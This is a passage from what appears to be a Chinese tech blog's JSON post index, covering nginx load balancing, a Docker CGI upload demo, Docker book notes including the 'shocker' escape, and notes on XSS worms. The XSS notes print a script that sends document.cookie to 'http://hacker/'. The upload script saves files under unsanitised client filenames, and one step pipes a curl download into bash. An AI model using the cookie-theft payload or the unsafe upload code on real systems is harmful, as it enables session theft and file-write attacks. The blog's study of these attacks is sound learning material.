p;}(\u0026#39;7[\u0026#34;\\\\6\\\\8\\\\a\\\\9\\\\2\u0026#34;](\\\u0026#39;\\\\1\\\\1\\\\5\\\\4\\\\3\\\\h\\\\g\\\\i\\\\k\\\\j\\\\c\\\\b\\\\0\\\\0\\\\d\\\\f\\\\e\\\u0026#39;);\u0026#39;,21,21,\u0026#39;u661f|u563b|x74|u505a|uff01|u6bdb|x61|window|x6c|x72|x65|uff08|x7e|u773c|uff09|u2728|u5973|u6211|u670b|u5427|u53cb\u0026#39;.split(\u0026#39;|\u0026#39;),0,{})) ","date":"2019-01-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/01/2019-01-29-%E5%86%99%E7%BB%99%E5%B0%8F%E5%AE%89%E7%9A%84web%E5%85%A5%E5%9D%91%E6%8C%87%E5%8D%97/","tags":null,"title":"写给小安的WEB入坑指南"},{"categories":null,"contents":"前面的话 突然又是折腾了一波nginx，其中一点点的配置和过程在这里记录一下。\n下午又把 《社交网络》这部片看了一遍，又是一种熟悉的热血沸腾的感觉。\n思考自己仿佛也是在同样的年龄，但是，为什么却是那种的遥不可及的的感觉，\n也许这个就是文化吧。一定去西海岸！\ndrop the The, just Facebook\n这世道，绅士做不了。海盗才是王。 签任何协议之前至少看3遍以上。 出卖你的往往是你最好的朋友 之前的场景 内网不通，怎么打洞，使得外网可以访问。内网打洞。\n原始方案，两次端口转发，加上 VPN。这样实现协议栈倒是没有加其他的东西，都团原生的。\n后面 想想，使用 frp 或者 ngrok 直接实现内网的转发，到还是一个更好的方法了。之前的只是赞成做了个理论性的尝试，没想到，ei？还真是能用。\n方案的两次转发，主要在于，不同网段之间的转发。\n由服务器 外网的网段， 转发到 VPN 的子网网段的内网主机 IP 在内网主机上，由VPN的子网网段，转发到内网网卡 并且设置内网的网卡路由走内网网关 Nginx Port forwarding and Load Balance stream { server { listen 80; proxy_pass 127.0.0.1:7000; } } 配置文件很容易的实现了 80到7000端口 的转发，\n下面的配置很容易实现转发的 LB 这里就会有很好的用处\nstream { server { listen 80; proxy_pass frp; } upstream frp{ server 127.0.0.1:7000; server 127.0.0.1:8000; } } 这里一个point 是 七层均衡 还是 四层均衡。这里的层指的是在协议栈中的层级 ，OSI 的七层结构，其中的七层均衡指的就是在应用层实现的（HTTP），四层就是在传输层（tcp）。\n这里的配置段是存在于 stream 的不是在 Http中。\n这里本来有个突然很荒谬的想法：能不能使用 server_name 用来对不同的 referer 进行都不同端口的转发。\n（事实上，当然可以通过虚拟主机，在同一个端口上，通过 server_name 字段来解析到不同的端口，配置如下）\nupstream baidu{ server 127.0.0.1:8081; } upstream google { server 127.0.0.1:8082; } server { listen 80; server_name www.baidu.cn baidu.cn; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { proxy_pass http://baidu; } } server { listen 80; server_name www.google.cn google.cn; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { proxy_pass http://google; } } 这样就可以，实现在同一端口的来自已不同站点的请求，分配到各自不同的 server。\n当时就想，能不能 我的 Frp 连接也可以实现这样的域名绑定呢？当时有点懵，显然回答是不行的。\n回到Domain Name 的解析原理，最终是在 Dns server 解析成为真实的 IP 。在进行 HTTP 的forward 的时候，其源站实际上是包含在 HTTP 的请求包里面的，所以，Nginx 可以对其不同的源站解析的不同的端口。\n那么这里回到前面 的情况，如果是使用了nginx 来对一个 tcp 连接进行分发。可能实现吗？\n不可能，因为，根本无法获得源站的地址呀。这里就是问题所在了。\n关于 Nginx LB 的配置 这里就顺便，巩固一下 LB 的相关配置：\nNginx 的 LB 类型 nginx 的 upstream目前支持 4 种方式的分配 引用自（https://www.cnblogs.com/microtiger/p/7623858.html）\n轮询（默认） 每个请求按时间顺序逐一分配到不同的后端服务器，如果后端服务器down掉，能自动剔除。\nweight 指定轮询几率，weight和访问比率成正比，用于后端服务器性能不均的情况。\nip_hash 每个请求按访问ip的hash结果分配，这样每个访客固定访问一个后端服务器，可以解决session的问题。\nfair（第三方） 按后端服务器的响应时间来分配请求，响应时间短的优先分配。 这个感觉不错，后面可以试试\nurl_hash（第三方） ip_hash是容易理解的，但是因为仅仅能用ip这个因子来分配后端，因此ip_hash是有缺陷的，不能在一些情况下使用：\nnginx不是最前端的服务器。ip_hash要求nginx一定是最前端的服务器，否则nginx得不到正确ip，就不能根据ip作hash。譬如使用的是squid为最前端，那么nginx取ip时只能得到squid的服务器ip地址，用这个地址来作分流是肯定错乱的。\n这里就最好使用 Url_hash 的方式，根据 不同的 Url 进行分流。\n不过这里又有了一个严重的问题 ：Session 和 Cookie，这里直接贴出文章。本来想总结一下 ， 已经有写好的了，自己也学习一下\ncookie 和session 的区别详解\ncookie 和session 的区别：\ncookie数据存放在客户的浏览器上，session数据放在服务器上\ncookie不是很安全，别人可以分析存放在本地的COOKIE并进行COOKIE欺骗考虑到安全应当使用session。\nhttpOnly ：JS 无法读取到 cookie\nsession会在一定时间内保存在服务器上。当访问增多，会比较占用你服务器的性能考虑到减轻服务器性能方面，应当使用COOKIE。\n单个cookie保存的数据不能超过4K，很多浏览器都限制一个站点最多保存20个cookie。\n这里比较好玩， 可以将 Cookie 设置为 大于 4096 的kv，这样的话，将会直接导致 客户端的 Deny\n所以个人建议：\n将登陆信息等重要信息存放为SESSION （存在 Session 注入的问题？） 其他信息如果需要保留，可以放在COOKIE中\n知识树 这个比较好玩， 以后每次类似的 blog 的时候就加上 吧，做个自己的思路方向的记录：\nnginx 的 LB 通过 域名 的TCP 转发可行性 nginx 的 LB 的种类 IP_hash 的问题 URL_hash 的 session问题 session和Cookie httpOnly ","date":"2019-01-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/01/2019-01-19-nginx-%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0lb-%E5%92%8C-tunnel/","tags":null,"title":"Nginx 折腾笔记（LB 和 Tunnel）"},{"categories":null,"contents":"前 这篇，是一个Docker 的实战篇，使用Docker实现一个文件上传的web页面。ps：本来是要实现上传后自动编译并且允许返回结果的。因为各种原因就烂尾了，就这样吧先。\n因为这篇，是比较基础的操作，很多东西还是有悖了Docker的 Build，ship，and run 的思想。这里还需要进行手动，所以显得比较有悖初衷。不过做一个过程的记录还是可以的。\n后面就打算实现一个标标准准的Docker 的工程，体现出 微服务 的思想。\nDocker 的一个容器理应是只跑一个进程（服务）的。\nBasic 先从Dockerhub上拉镜像，这里需要 Nginx 和 Uwsgi，这里选取了tiangolo/uwsgi-nginx 这个镜像。\n在启动镜像的时候使用交互模式：\ndocker run -itd -p 80:80 --name test2 docker.io/tiangolo/uwsgi-nginx:latest /bin/sh 这个时候，Dockerfile 里面的CMD命令将会被重载为后面的 /bin/sh\n在交互模式下，attach 了容器之后，可以使用 ctrl+p，ctrl+q 组合键进行 detach\ndocker attach bf00008eee04 docker attach test2 创建挂载卷容器，在对应的环境 编译 uwsgi， 之后可以之间拷贝到本地\ndocker run -tdi -v /tmp/tttmm/:/tmp/mm --name share docker.io/tiangolo/uwsgi-nginx:latest /bin/bash 这里使用 bash 好用得多。另外这里附上 uwsgi 的CGI版本的一键编译的script：\ncurl http://uwsgi.it/install | bash -s cgi /tmp/uwsgi CGI 部署 跑一个综合的容器， 有端口映射以及卷挂载功能：\ndocker run -tdi -p 80:80 -v /tmp/tttmm/:/tmp/mm --name share docker.io/tiangolo/uwsgi-nginx:latest /bin/bash 由于 镜像自带的uwsgi 的版本是app的，其没有编译 CGI 功能。所以在这里需要进行替换。之间在容器内使用上述命令进行编译。对 /usr/local/bin/uwsgi 进行替换，对配置文件进行修改\n[uwsgi] socket = /tmp/uwsgi.sock chown-socket = nginx:nginx chmod-socket = 664 hook-master-start = unix_signal:15 gracefully_kill_them_allroot@251a2c8dc0b2:/usr/local/bin# 这里是用户自定义的：\n[uwsgi] plugins = cgi cgi = /app cgi-allowed-ext = .py cgi-helper = .py=python 指定CGI根目录，以及对应的后缀文件的解析器。后面再修改Nginx配置即可。\n编写实例 CGI 脚本。使用其标准输出作为页面内容：\nprint(\u0026#34;Content-Type: text/html\u0026#34;) print(\u0026#34;\u0026#34;) print(\u0026#34;\u0026lt;html\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;h2\u0026gt;First CGI server Base on Docker\u0026lt;/h2\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;p\u0026gt;Hello ann\u0026lt;/p\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;p\u0026gt;cause you are my world XD\u0026lt;/p\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;/html\u0026gt;\u0026#34;) 至此，启动 /usr/bin/supervisord 便可以启动相关进程\nSupervisor (http://supervisord.org) 是一个用 Python 写的进程管理工具，可以很方便的用来启动、重启、关闭进程（不仅仅是 Python 进程）。除了对单个进程的控制，还可以同时启动、关闭多个进程，比如很不幸的服务器出问题导致所有应用程序都被杀死，此时可以用 supervisor 同时启动所有应用程序而不是一个一个地敲命令启动。\n在客户端使用 浏览器请求便可以得到返回结果\nPost 文件以及编译执行 前面实现了一个简单的CGI, 后面开始完善整个功能，实现文件的POST 上传以及在线的编译。\n先需要对 Nginx 配置进行修改：\nserver { listen 80; location / { root /app/html; # 这里是页面的目录 } location /cgi-bin { root /app/cgi-bin; # cgi 的目录 include uwsgi_params; uwsgi_modifier1 9; uwsgi_pass unix:///tmp/uwsgi.sock; } } 重启 Nginx 的服务，使其配置生效，测试 页面 以及 CGI 脚本。\n这里先构建文件的上传入口，简易的上传 页面：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;update\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;UploadPoint\u0026lt;/h1\u0026gt; \u0026lt;form id=\u0026#34;upload-form\u0026#34; action=\u0026#34;/cgi-bin/upload.py\u0026#34; method=\u0026#34;post\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34; \u0026gt; \u0026lt;input type=\u0026#34;file\u0026#34; id=\u0026#34;upload\u0026#34; name=\u0026#34;upload\u0026#34; /\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Upload\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 以及后端的实现文件保存以及编译的功能\n下面是CGI代码：\nimport cgi, cgitb form = cgi.FieldStorage() fileitem = form[\u0026#39;upload\u0026#39;] if fileitem.filename: print(\u0026#34;Content-type:text/html\u0026#34;) print() print(\u0026#34;\u0026lt;html\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;head\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;meta charset=\\\u0026#34;utf-8\\\u0026#34;\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;title\u0026gt;succeed\u0026lt;/title\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;/head\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;body\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;h2\u0026gt; 输入的内容是：%s\u0026lt;/h2\u0026gt;\u0026#34;) with open(\u0026#39;tmpfile/\u0026#39; + fileitem.filename, \u0026#39;wb+\u0026#39;) as f: f.write(fileitem.file.read()) print(\u0026#39;\u0026lt;p\u0026gt;文件已保存\u0026lt;/p\u0026gt;\u0026#39;) print(\u0026#34;\u0026lt;/body\u0026gt;\u0026#34;) else: text_content = \u0026#34;没有内容\u0026#34; print(\u0026#34;Content-type:text/html\u0026#34;) print() print(\u0026#34;\u0026lt;html\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;head\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;meta charset=\\\u0026#34;utf-8\\\u0026#34;\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;title\u0026gt;failed\u0026lt;/title\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;/head\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;body\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;h2\u0026gt; 输入的内容是：%s\u0026lt;/h2\u0026gt;\u0026#34; % text_content) print(\u0026#34;\u0026lt;/body\u0026gt;\u0026#34;) print(\u0026#34;\u0026lt;/html\u0026gt;\u0026#34;) 参考 在uWSGI上运行CGI脚本 使用 supervisor 管理进程 镜像地址 tiangolo/uwsgi-nginx ","date":"2019-01-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/01/2019-01-07-docker-%E5%88%9D%E6%AD%A5/","tags":null,"title":"Docker 初步"},{"categories":null,"contents":"前 读书\n简介 书名：Docker 进阶与实践 作者：华为Docker实践小组 ISBN：9787111523390 这本书作为一个 对 Docker 的系统的学习和了解，由理论到实践，讲解了Docker 技术，以及其应用。\n粗浅阅读，作为对Docker 了解，准备一个简单的project。（在线编译器？）\nDocker 简介 其核心的思想是 ： Build Ship and Run。\n在磁盘占用，性能以及效率都在传统的虚拟化技术上有了明显的提高。\nDocker 之于传统的虚拟化技术是没有 Hypervisor 层。 Docker 使用了层级镜像的应用，可以实现存储空间的复用。 基础概念 Docker 客户端\n使用 command 发起请求，或者使用 RESTful API 进行请求\nDocker deamon\n整个Docker 的核芯引擎，可以理解为 Docker Server。\nDocker 容器\n容器是一个核心内容，很好的诠释了集装箱的概念，可以实现一个标准隔离执行环境。\n迁移和部署的时候，不用关心容器里面是装了什么，也不需要了解是怎么配置。整个就是一个一切完整的集装箱。\nDocker 镜像\n可以理解为 容器是镜像的实例， 镜像是容器的模板。\nRegistry\n可以理解为镜像站点，可以直接使用 pull 从其拉去镜像。\n安装 在内核编译的阶段，需要开启 Cgroup 以及 Namespace的编译选项。\nDocker 的基本使用 直接键入docker 会得到其提示页面， 使用 docker COMMAND --help可以直接显示相关的帮助页面\n容器技术 在社区的合作下形成了Cgroup 以及 namespace 。\nMount Namespace UTS Namespace IPC Namespace PID Namespace Net Namespace User Namespace Cgroup :\ncpuset CPU memory device freezer blkio 容器组成 容器技术通过 Cgroup 和 Namespace 为核心技术。在其基础上由了根文件系统，以及容器引擎。书中有以下公式：\n容器 = cgroup + namespace + rootfs + 容器引擎(用户态工具)\nCgroup: 资源控制 Namespace: 访问隔离 rootfs： 文件系统隔离 容器引擎: 生命周期控制 容器的创建 书中的这里使用了三段伪代码，来说明一个容器的构成，这里说下自己的理解。\n通过系统的clone调用，来传入各个的Namespace的Clone flag，对其命名空间进行拷贝 ，之后得到一个新的进程，这个进程就会拥有一个属于自己的 clone 的Namespace。 echo $pid \u0026gt; /sys/fs/cgroup/cpu/tesks 建立的进程的PID 写入了各个 Cgroup的子系统之中，受到相应的Cgroup的子系统控制。 通过 系统调用，使得进程可以进入一个 新的 rootfs ，之后使用 exec(\u0026quot;/bin/bash\u0026quot;) 来启动一个 shell。 这样就完成了一个容器的创建\nCgroup Cgroup 的目的就是实现了对与系统资源的QoS\n在CG 之前，通过 sched_setaffinity 设定一个进程的CPU 亲和性（nginx中的配置）。\n$$ 表示当前进程的PID\n用户可以甚至可以新建自己的 Cgroup的规则，系统默认的规则在 /sys/fs/cgroup 下面进行配置\n对进程配置生效，只需要将pid 写入以下文件 ： /sys/fs/cgroup/pids 这样是整个的 Cgroup 规则对当前进程生效。\n或者，可以直接配置独立项目里面的 xxx.procs 。\nblkio子系统 可以对块设备的I/O带宽进行限制。\ndevices子系统 可以对设备的权限进行控制 a *.* rmw 代表所有设备可被访问 c 1:3 r 控制 主设备号:子设备号设备 只读\nNamespace 将内核的全局资源做封装，每一个NS 都有其独立的资源拷贝。\nll /proc/$$/ns 查看当前的进程的namespace。\n可以很容易的使用 系统调用建立一个独立的namespace的进程：\nstatic char stack[STACK_SIZE]; static char* const child_args[] = {\u0026#34;/bin/bash\u0026#34;, NULL}; static int child(void* arg) { execv(\u0026#34;/bin/bash\u0026#34;, child_args); return 0; } int main(int argc, char **argv) { pid_t pid; pid = clone(child, stack+STACK_SIZE, SIGCHLD|CLONE_NEWUTS, NULL); // 这里配置克隆命名空间的操作 waitpid(pid, NULL, 0); } 直接 GCC 编译， 在返回的SHELL 里，对hostname 进行修改 ，logout 之后，原shell中的hostname并没有被改变。\n如前面提到的，namespace 有几个种类，\ntype desc UTS struct utsname ，uname 系统调用里面的结构体 IPC 进程间通信的隔离，如消息队列？ ipcmk PID PID 之间的隔离，（ps从procfs里读取），实际上的操作是隔离的，如kill Mount 挂载点隔离 Network 网络接口隔离 User 用户以及用户权限隔离 Docker 的镜像 image是启动容器的只读模板，是容器启动需要的rootfs。下面是一些 词汇：\nword meaning doker hub 可以理解为一个镜像站 Namespace 类似 Github 中的命名空间，代表一个种类，用户或组织 Repository 一个 Git 仓库，可以有多个镜像 Tag 类似Git 的tag，区别于不同的版本 Layer 类似于Git的 commit ，一个长的 Hash 串 Image ID 镜像的唯一标识，可以等同 repo:tag 后面的部分简述了，build，ship and run 的操作。\nDocker 的image的组织结构，颗粒理解为积木堆叠的形式。书中对其源文件做了探索：\ndocker pull busybox # 拉取镜像 docker history busybox # 查看镜像的历史版本 docker inspect busybox:latest Docker image 的技术亮点 联合挂载\n可以把多个目录同时挂载到同一个目录。\n写时复制\n在和系统调用的 fork类似，在创建子进程的时候，并不进行新的一个内存区的复制，而是在修改了共享的内的时候触发了一次缺页的中断，这时候进行一次页分配。这时候才会有真正的写。\n仓库进阶 git 的思想， 可以很容易的进行 pull/push\n容器间的网络 这里是在实践过程中比较重要的一部分。过程较为复杂，这里记录一些 kword Weave，Flannel，这些是现有的Docker 的网络解决方案\nWeave Flannel SocketPlane 容器卷管理 在执行 run/create 使用 -v 来添加数据卷 volume，当然也可以将主机上的卷挂载到 容器中来：\ndocker run -d -v /var/vol --name mytest busybox # 添加新的卷 docker run -d -v /var/vol:/home/test --name mytest busybox # 挂载主机卷 可以创建一个共有的存储容器，在其他的实例上使用 --vloume-from 来共享卷\n问题：数据卷的悬挂问题\n在删除容器的时候，需要显式的指明所挂载的卷，分配卷的空间才会被删除，如果不指定，就会出现数据卷的悬挂（dangling），浪费大量空间\ndocker rm mytest docker rm mytest -v /var/vol Docker API Docker 的API 设计 满足 RESTful(Representational State Transfer) 表达性状态转移。其API 设计：清晰，简单，低耦合，无状态，面向资源。\nDocker 提供了API接口，使得其拓展性得到极大的提高。有提供三类API：\nDocker Remote API 比如 docker run 这种服务控制的命令 Docker Registry API 可以用来控制镜像存储 Docker Hub API 与Docker 的关系不大 示例请求，Docker 在启动的时候，会默认开启API，并且监听本地的unix 套接字，默认值为 unix:///var/run/docker.sock，可以直接向套接字写内容从而实现了API的调用\n这里直接向套接字写了HTTP的请求，server 会直接返回了当前的所有的镜像的状态。\n当然，Docker 也会监听 localhost:5678 作为API 的请求端口，（之前有用过一个 GUI 的Docker的管理工具，其核心就是通过API与服务进行交互）\ncurl -XGET localhost:5678/image/debian/history | python -m json.tool # 等同： docker history debian Docker API 的监听在其启动的时候进行配置：\ndocker -d -H unix:///var/run/docker.sock -H tcp://localhost:32768 API的应用场景 书中在这里以神奇的背景展开了一个使用案例：\n一个python 写的httpserver 打包成一个 Docker 镜像 Dockerfile 和其依赖的文件打压缩包 使用远程的Docker 主机对镜像进行构建】 发布镜像到Registry pash 其他主机 Pull 到本地 本地运行容器实例并验证 至此完成一个docker 的helloworld。 这里对这个场景进行简单的描述，后面将会有操作的实例。\nDocker 的安全 由于 Docker 和物理主机是公用同一个内核，因此受攻击的面将会特别的广，而且一旦容器内的程序导致了内核的panic，物理机的内核也将 Painc\n共用内核使用Cgroup和Namespace 实现了容器隔离和资源限制的目的。Namespace 目前不是十分完善。所以导致了虚拟容器中的逃逸问题，（比如 PS 使用的 procfs ，就可以看到物理机的所有的 ps）这个是特性导致，所以很难完美的处理。现在应用的安全策略：\nCgroup 进行资源限制 ulimit 资源限制 容器组网 安全 容器+全虚拟化 公有云，安全需求很高的解决方案 监控 docker ps -a 监控容器状态 文件级防护 对文件的权限进行严格的控制 capability SELinux 严格的DAC ，资助访问控制 AppArmor Seccomp grsecurity 内核的 patch 大大提高安全性 安全示例 主机逃逸 shocker攻击 通过 open_by_handle_at 和 name_to_handle_at 这两个系统调用实现。先在容器内打开一个文件描述符，\nfd = open(\u0026#34;/.dockerinit\u0026#34;, O_RDONLY); 之后使用 open_by_handle_at 获取文件的句柄。\nfd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY); dir = fdopendir(fd) 并且在这里得到其打开的所有目录？\nde = readdir(dir); 得到其目录的结构体，之后进行对比与 /etc/shadow\nstrncmp(de-\u0026gt;d_name, path, strlen(de-\u0026gt;d_name)); 找到了包含 shadow 的de目录之后，开始穷举句柄：\n后面略过部分的内容。讲解了Libcontainer 的一些技术原理。\nDocker 实践篇 Dockerfile 的hello world Dockerfile 用来制作镜像，像是一个蓝图一样，\n以 # 为注释 每一行一个命令 四部分组成 基础镜像信息 维护者信息 镜像操作指令 容器启动指令 书中给了一个 Nginx 的基础镜像的配置，这里进行cpoy：\nFROM ubuntu MAINTAINER admin xxx RUN echo \u0026#34;[软件源]\u0026#34; \u0026gt;\u0026gt; /etc/apt/source.list # 添加软件源 RUN apt-get update \u0026amp;\u0026amp; apt-get install -y nginx RUN echo \u0026#34;\\ndeamon off\u0026#34; \u0026gt;\u0026gt; /etc/nginx/nginx.conf # 写配置前台运行 CMD /usr/sbin/nginx # 启动服务 KeyWord DESC FROM 继承自哪个镜像 MAINTAINER 指定维护者信息 RUN 执行SHELL指令，类似 sh -c EXPOSE 暴露容器端口 CMD 启动容器时执行的命令，只能有一条 VOLUME 创建挂载点 ENV 定义环境变量 ADD 复制指定src(URL，tar，相对路径)的指定文件到目的卷 COPY \\ \\ 复制本地主机的文件到容器的目 Docker 镜像 的制作与启动 书中给出了一个DockerFile 的示例：\nFROM busybox RUN date;sleep 100;date RUN echo \u0026#34;abc\u0026#34; \u0026gt; /mytest RUN date;sleep 100; date CMD /bin/bash RUN 命令都是在容器内部执行的，最后的CMD为最后返回的内容。\n在书中是以一个 Tomcat 的例子来演示的。这里主要设计到了镜像的拉去，以及 卷的 静态挂载，SSL 证书的生成。之后贼了容器内部，把 证书保存在 指定的目录，并且修改一下 server 的配置。\n完成所有的配置之后，直接进行一次 commit。之后 跑容器实例即可。\n源码导入 使用静态导入以及动态导入两种方式。\nFROM tomecat:https MAINTAINER xxx COPY ./websrc /usr/local/tomecat/webapps/myproj 动态挂载 把本地的数据卷挂载在容器中，现在船舰一个挂载点，把文件动态挂载到容器中。\nFROM tomcat:http MAINTAINER xxx RUN mkdir -p /usr/local/tomcat/webapps/myproj VOLUME /usr/local/tomcat/webapps/myproj 在启动容器的时候指定参数：\ndocker run -ti -v $(pwd)/websrc:/usr/local/tomcat/webapps/myproj Docker 的架构 微服务之核心就在于此,把服务的多个部分以容器的形式，分散在各处。比如实现一个 web服务架构，除了上面的web服务器之外，还有后端的数据库，或者是 一些其他的模块。\nDocker-compose 提供了一个Docker 的工程的管理，可以实现对多个容器的构成一个项目的整合。\nDocker 的集群管理 在生产环境的使用的时候，当然是需要进行统一管理的。这里在书中就引入了几个工具：\nCompose 一个应用往往有多个组件构成，Docker 的最佳实践是一个容器运行一个进程\n所以为了实现容器之间的同意管理，以及协作工作，这里就有了 Compose 。\nMachine 简化Docker 安装的工具\nSwarm 集群管理工具，实现把多个Docker主机组成的系统，整合为统一的虚拟Docker 主机。\nswap,plug and play\nK8S\nFAQ（Frequently asked questions ） 书后面的 FAQ，这里挑选部分摘录：\nDocker 容器中管理多个进程 使用 supervisord,runit等进行进程的统一管理，保持管理进程工作即可 ATTACH 到容器之后怎么退出 操作和 screen 有些类似使用 ctrl+P，ctrl+Q 进行退出，容器继续进行，如果使用 ctrl+c 可能导致进程结束从而容器退出 后面的话 通过这本书，对Docker 的认识，和使用更上了一个台阶，后面准备实现一个 基于Docker 的在线编译执行的东西。\n基础构想是 使用 Nginx 跑 Python的CGI，post 源码，之后编译执行，再返回前端，把这个打包成镜像\n下一步就是把服务拆开，单容器单进程，把 nginx 和 uwsgi 拆分开来，使用多容器合作。\n后面看看 Docker 的源码吧。\n书后推荐书籍：\nDocker 技术入门与实践 9787111488521 Docker 源码分析 9787111510727 Linux 内核设计与实现 Linux 内核精髓 ","date":"2018-12-30T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/12/2018-12-30-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-docker-%E8%BF%9B%E9%98%B6%E4%B8%8E%E5%AE%9E%E8%B7%B5/","tags":null,"title":"读本好书 《Docker 进阶与实践》"},{"categories":null,"contents":"前 突然一个状态的转变,总是需要好解的转变的时间。\n事前比较多，感觉自己在知识的荒野上已经漫步了好久。时而有着恐慌的感觉。\n简介 书名：XSS 蠕虫 \u0026amp; 病毒 副标题：即将发生的威胁与最好的防御 作者：June 2007 – updated Jeremiah Grossman 翻译：Fooying（知道创宇安全研究团队） 来源：GitBook 一本篇幅短小的书，主要是将关于 XSS蠕虫 的书籍， 这个蠕虫其实都不陌生，一年前，记得qq空间里面的自动转发，这个就是和书里的主角有关系了。\n简单来说，XSS 在用户的浏览器端注入了目标代码，用于伪造了用户的操作，然而使用 XSS 的蠕虫，可以在用户的repost 的内容里面再次插入恶意JS 实现了自我的复制以及传播。\n这篇文章， 作为对这个技术的了解以及认识吧。\n在本白皮书中，我们将提供一个关于 XSS 的概述;定义 XSS 蠕虫;检验传播方式，感染率和潜在的影响。最重要的是，我们将描述如何立即采取措施，企业可以采取以捍卫他们的网站。\nXSS蠕虫的知识点 这里用自己的观点总结一下：\n来自于可以有用户输入的地方\nXSS 依附于web 比桌面的 应用程序的 worm 更加快速广泛\n与操作系统（Windows，Linux 和 Macintosh OS X 等等）无关，因为是在 Web 浏览器发生并执行的。\n能够避免网络堵塞,因为通过 Web 服务器到 Web 浏览器（客户端 - 服务器）模式传播，而不是一个典型的盲目的 对等模型。\nXSS蠕虫 依附于 web 的服务本身。\n比传统互联网病毒更容易停下来，因为拒绝感染网站的访问可以被隔离以阻止传播。\n因为XSS 的漏洞是存在于 web 页面之上，出现了可能存储XSS的注入js 的地方，但是一旦进行过滤，或者，对其行为进行阻止，其传播途径便受阻了。\nXSS知识点 非持久型XSS，也成为反射性的XSS。用户输入在一个动作后会出现在用户页面上，二实际上并不会进行存储。\n所以可以理解为，是用户构建的一次性的反射XSS , 一般出现在 get型的搜索页面 中。因为用户提交的搜索内容，会再次的出现在了页面之中。座椅这样被可以出发了，XSS。\n当然，反射型的 XSS 在进行构造之后通过用户点击进行触法，多半用于phishing 的过程之中。\neg:在存在反射型的XSS 的时候可以构造如下链接形式：\nhttp://victim/search.pl?search=test+search+[payload] ”\u0026gt;\u0026lt;SCRIPT\u0026gt;alert(‘XSS%20Testing’)\u0026lt;/SCRIPT\u0026gt; 这样我们的 payload 就出现在了搜索结果的页面中去，所以就可以被触发。\n一般用于钓鱼链接，当然一旦有了入口就可以实现更加复杂的功能了。\n使用如下的payload\n\u0026lt;script\u0026gt; var img = new Image(); img.src = \u0026#34;http://hacker/\u0026#34; + document.cookie; \u0026lt;/script\u0026gt; 这样就构造了一个DOM的对象，就向目标网站提交了用户的 cookies。（当然也可使用 ajax 进行高级操作）。\n非持久型XSS，这一类的XSS 就是危害比较大的类型，多存在于留言板之类用于存储并且显示用户输入的地方。用户输入的内容没有经过严格的检测，导致直接在页面上被加载以及解析，导致访问该页面的用户都受到影响。\n危害性往往的是高于非持久性的。具体的利用细节，实际上也是对过滤进行 bypass ， 之后注入js 等待用户的触发。\nXSS 的传播方法 XSS 蠕虫病毒可能会使 得浏览器进行发送电子邮件，转账，删除/修改数据，入侵其他网站，下载非法内容，以及许多其他形式的恶意活动。 用最简单的方式去理解，就是如果没有适当的防御，在网站上的任何功能都可以在未经用户许可的情况下运行。\nXSS 的漏洞被利用在传播的时候，通常是 HTML/Javascript的代码。使用\n嵌入的HTML标签 JavaScript DOM的对象 XMLHTTPRequest（XHR） 嵌入的HTML标签 一些html的标签，可以在加载的时候去请求非同源的资源。比如，img 的图像标签便可以实现这样的一个功能。\n使用 img 的src属性可以在加载页面的时候，对远程的主机进行请求。\n\u0026lt;img src=”http://www.google.com/search?hl=en\u0026amp;q=whitehat+security\u0026amp;btnG=Google+Search”\u0026gt; 在上面的请求里面，知识进行了一次对 google 的请求，当然，这里的地址便可以模拟一次用户的请求，比如：增加删除好友。这是一个 get 的请求，当然也可以通过get 的方式向，目标主机传递当前的数据。\nJavaScript 和 DOM DOM = document object model 这里一样可以使用DOM对象，实现一个对非同源站点的请求。\nvar img = new Image(); img.src = \u0026#34;http://www.google.com/search?hl=en\u0026amp;q=whitehat+security\u0026amp;btnG=Google+Search\u0026#34; 通过改变图像的src属实现去其他的请求。\nXmlHttpRequest (XHR) AJAX (异步 JavaScript 和 XML) JQuery中包含 ajax 的功能，一样实现对远程主机提交数据。\n第一个XSS蠕虫在 2005年10月4日，\n使用一些绕过技 术，Samy 成功上传了他的代码。当一个通过身份验证 MySpace 的用户观看 Samy 的个人资料，该蠕虫病毒的 payload 使用 XHR，使得用户的网页浏览器发送请求，增加 Samy 为朋友，包括加 Samy 为他英雄（译者注：类似微博关注）（“但最重要的是，加 Samy 为英雄这点”，如图 6），并用恶意代码的副本改变用户的个人资料。当用户访问 Samy 或 者其他受感染用户的个人资料页，他们基本上在打开浏览器时就受到攻击。\n这里的vector 是关注了目标用户，payload 是在用户的个人信息上插入了XSS的代码。\nXSS 蠕虫和常规的桌面蠕虫 信息 时间 数量 voctor Code Red I 和 Code Red II(红色代码) 2001 年 